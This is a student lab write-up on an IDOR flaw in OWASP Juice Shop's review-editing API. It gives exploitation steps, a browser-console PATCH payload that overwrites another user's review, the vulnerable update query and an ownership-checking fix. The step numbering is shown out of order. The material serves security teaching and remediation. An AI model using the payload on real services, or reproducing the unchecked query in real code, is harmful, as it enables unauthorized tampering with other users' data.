

IDOR Vulnerability in Product Review Editing – Juice Shop Challenge

Student: Tehila Raviv | **School:** Azrieli College of Engineering | **Track:** B

Vulnerability Description and Theoretical Background

What is IDOR? Insecure Direct Object Reference (IDOR) is a Broken Access Control vulnerability where an application exposes internal object references (e.g. database IDs) without verifying the requesting user's authorization. Classified as OWASP A01:2021.

How is it created? When a developer allows users to supply object identifiers (like a review ID) in requests without checking ownership on the server side.

Context in web systems: Appears in any feature referencing user-specific data - profiles, orders, messages, reviews.

What can an attacker achieve? Modify or delete other users' reviews, manipulate product ratings, and undermine review system integrity.

Work Environment

- **Runtime/Framework:** Node.js, Express.js (backend), Angular (frontend)
 - **Database:** MongoDB (NeDB)
 - **Language:** TypeScript
 - **Application:** OWASP Juice Shop v19.1.1
 - **Tools:** Chrome DevTools (Network tab + Console), localhost:3000
-

POC Implementation and Attack Demonstration

Description: A visible Edit button was added next to every product review. The backend API accepts any review ID without ownership verification, allowing any authenticated user to edit any review.

Exploitation Steps:

4. Log in as test1, identify test2's review_id
5. Click Edit button on test2's review OR send PATCH request via console
6. Server updates test2's review without any ownership check
1. Register two users: test1@test.com, test2@test.com
2. Each user submits a review for a product
3. Call GET /rest/products/1/reviews to retrieve all review IDs

Payload:

```
fetch('/rest/products/reviews', {
  method: 'PATCH',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': 'Bearer ' + localStorage.getItem('token')
  },
  body: JSON.stringify({
    id: 'TARGET_REVIEW_ID',
    message: 'THIS REVIEW WAS HACKED!'
  })
}).then(r => r.json()).then(console.log)
```

Result: {"modified": 1} - review successfully changed in DB and UI.

Attack Diagram:

```
[Attacker - test1]
|-- GET /rest/products/1/reviews --> retrieves test2's review _id
|-- PATCH /rest/products/reviews --> {id: test2_id, message: "Hacked!"}
|                                     (NO author check on server!)
|<-- {modified: 1} - test2's review is now changed!
```

Defense Mechanisms and Prevention

Why did existing defenses fail? The original code retrieved the authenticated user but never used it to verify ownership - the query matched only by `_id`:

```
// VULNERABLE - no ownership check
db.reviewsCollection.update(
  { _id: req.body.id },
  { $set: { message: req.body.message } },
  { multi: true }
)
```

The Fix:

```
// SECURE - checks both ID and author
db.reviewsCollection.update(
  { _id: req.body.id, author: user.data.email },
  { $set: { message: req.body.message } },
  { multi: false }
).then((result) => {
  if (result.modified === 0) {
    res.status(403).json({ error: 'Forbidden: You can only edit your own reviews' })
    return
  }
  res.json(result)
})
```

Best Practices:

- Always verify object ownership server-side before any modification
- Never trust client-supplied IDs without authorization checks
- Apply principle of least privilege
- Reference: OWASP A01:2021 - Broken Access Control

Sources

- OWASP A01:2021: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- PortSwigger IDOR: <https://portswigger.net/web-security/access-control/idor>
- OWASP Juice Shop: <https://github.com/juice-shop/juice-shop>
- OWASP Testing Guide - IDOR: <https://owasp.org/www-project-web-security-testing-guide/>

